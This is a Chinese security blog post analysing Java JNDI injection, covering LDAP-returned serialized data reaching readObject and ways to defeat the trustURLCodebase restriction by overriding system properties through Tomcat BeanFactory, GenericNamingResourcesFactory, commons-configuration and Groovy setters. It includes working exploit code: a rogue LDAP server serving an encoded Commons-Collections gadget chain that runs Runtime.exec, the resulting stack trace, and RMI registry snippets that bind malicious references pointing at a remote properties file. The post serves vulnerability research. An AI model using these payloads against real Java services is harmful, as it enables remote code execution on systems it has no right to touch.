从Deserialization和覆盖trustURLCodebase进行JNDI注入

在通过LDAP协议访问远程服务的时候,我们可以跟进到 LdapCtx#c_lookup方法中

wKg0C2NxyHKAVHxbAABP1fXzUsU993.png

这里调用了 doSearchOnce方法获取LDAP远程返回的Result数据

到最后会来到 LdapCtx#doSearch方法中

wKg0C2NxyJeAS6LLAAAuaEd2XD0873.png

存在有 LdapClient#search方法的调用

首先他会封装了一个 LdapRequest的请求,之后通过 getSearchReply方法的调用获取对应的查询结果

wKg0C2NxyKWAF6e0AAA5RK8qMBU555.png

跟进一下

wKg0C2NxyLGAdrCPAACLKoIaYjA886.png

在获取了返回的属性之后,将其放入了 BasicAttributes类对象中

wKg0C2NxyLuAQuEvAABAYQHTX4g837.png

之后将会把获取到的 LdapEntry封装进入 LdapResult对象中去

wKg0C2NxyMWAM8eSAABXq2fdpK8022.png

最后返回了这个 LdapResult对象

好的,现在回到了 LdapCtx#c_lookup方法中来了

wKg0C2NxyNCAYqatAABSoJWWhfs820.png

在 682行中的var23就是前面返回的 LdapResult对象,首先会判断其的 entries属性是否为不为空,且要求只存在有一个 LdapEntry对象,如果满足上面的条件,就会取出 LdapResult中的 LdapEntry对象,其为 var25这个变量,并且也会取出 LdapEntry中的属性,上图中的 var4是一个 BasicAttributes对象

wKg0C2NxyN6AG7b2AABSO1wiq9g930.png

会判断属性中是否存在有 javaClassName,如果有

将会调用 Obj.decodeObject方法进行解析

wKg0C2NxyOmAVsoEAACEUWRG3JA818.png

首先获取了javaCodeBase属性值,之后在 145行中判断了是否存在有 javaSerializedData属性,如果有就在获取了对应的ClassLoader之后通过调用 deserializeObject方法进行反序列化

wKg0C2NxyPOAXZxZAABzfh7kx3Y486.png

最后调用了 java.io.InputStream#readObject方法进行了反序列化

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class SerializeLdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("127.0.0.1"),
                389,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
        System.out.println("ldap://127.0.0.1:389 is working...");
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", "hahaha");

            try {
                entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
                        "cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
                        "H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
                        "cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
                        "nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
                        "Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
                        "bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
                        "Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
                        "cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
                        "LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
                        "AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
                        "cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
                        "cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
                        "bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
                        "O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
                        "cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
                        "AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
                        "AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
                        "AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
                        "AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" +
                        "chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" +
                        "c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" +
                        "eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, LdapClient (pers.jndi)

RMI也有着同样的反序列化利用

sun.rmi.transport.StreamRemoteCall#executeCall中有着漏洞点

wKg0C2NxyQuAKzulAABhjHk5f5A421.png

在高版本中的JDK中不管是Ldap或者是RMI都存在有trustURLCodebase的限制

如果我们能够将该属性值置为true也就能够间接绕过限制

所以我们需要寻找到能够System.setProperty的调用,覆盖掉trustURLCodebase属性值

且我们有了前面的基础,我们知道对于org.apache.naming.factory.BeanFactory这个Factory来说,需要目标的Bean Class满足

  • 必须有一个无参构造方法
  • 有public的setter方法且参数为一个String类型。

commons-configuration包中存在有org.apache.commons.configuration.SystemConfiguration#setSystemProperties方法满足条件

wKg0C2NxyRWAYRpEAABJhqNkmUU048.png

从该方法的注释我们知道,这个方法能够从一个属性配置文件中取值设置对应的system properties

wKg0C2NxyRAIHNmAABY4ncuMVU541.png

在创建了PropertiesConfiguration对象config之后调用load方法进行配置文件的加载

wKg0C2NxySiALZv2AABJDNVBI8675.png

继续调用了load方法

wKg0C2NxyTGAQsCAABE0qNFKHE874.png

调用了load方法加载远程url作为参数,获取远程配置

wKg0C2NxyTuAAb6hAABVRKn764448.png

获取远程输入流

之后调用load方法加载

一直可以跟踪到PropertiesConfigurationLayout#load方法中设置了属性和值之间的分隔符是=

wKg0C2NxyUSAEQyvAABEzY3qqcE227.png

同样在这个方法中通过一个while循环遍历reader中的属性配置

wKg0C2NxyU2AIgtXAABYutyQkXc798.png

最后回到了setSystemProperties方法中

wKg0C2NxyVeAeBi8AABbYzPBFSk225.png

通过调用setSystemProperties进行了属性的覆盖

wKg0C2NxyWOAXxHWAABlGlcUEs465.png

这里就很明了了,通过迭代器,调用System.setProperty为属性赋值

Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));
resourceRef.add(new StringRefAddr("x", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);

wKg0C2NxyXKAKbf5AABqUANtafQ450.png

对于这个jar包和上面的大体流程差不多就不分析了

Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));
resourceRef.add(new StringRefAddr("x", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);

wKg0C2NxyXyACLoAAABfOQOoFVA635.png

在Groovy组件中存在有setSystemPropertyFrom方法

wKg0C2NxyYqAdQg9AACKkgHDNFU729.png

这个BeanClass也满足条件,在该方法中,将会对namValue参数值通过=进行分割,分别得到name和value值,之后调用了System.setProperty方法进行赋值

当然还有这其他的第三方库存在有这样的功能的方法能够利用,只需要使用CodeQL或者其他静态代码分析工具进行筛选就行

当然除了catalina.jar中的类org.apache.naming.factory.BeanFactory可以利用

tomcat-jdbc.jar中也存在有org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory这个BeanFactory

我们来看看他的getObjectInstance方法

wKg0C2NxyZWAUAyeAACeLO1T2sQ347.png

将会获取返回的Reference类,实例化了目标类,之后分别取出了param和value的值之后调用setProperty方法

wKg0C2NxyZ6ADh7pAACQJ3Yfxj4672.png

60行的位置,他直接在name前面拼接上了get字符串,在取出了目标类的所有方法之后,通过for循环进行遍历获取setter的方法名,并调用

这里就很明显了,可以通过前面说的commons-configuration / commons-configuration2 / Groovy的setter方法来执行

这里给出一个例子

Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
resourceRef.add(new StringRefAddr("systemProperties", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);

wKg0C2NxyamAQcd5AACCbPvwzR4609.png

小于 Tomcat8 时无法使用 ELProcessor.eval 执行代码
只能在Tomcat下使用BeanFactory类调用任意方法
以较低版本Tomcat 如7.0.4时,BeanFactory只支持执行 setter 方法,无法再使用EL或Groovy执行
代码

https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf

posted @ 2022-12-06 11:29  SecIN社区  阅读(257)  评论(0编辑  收藏  举报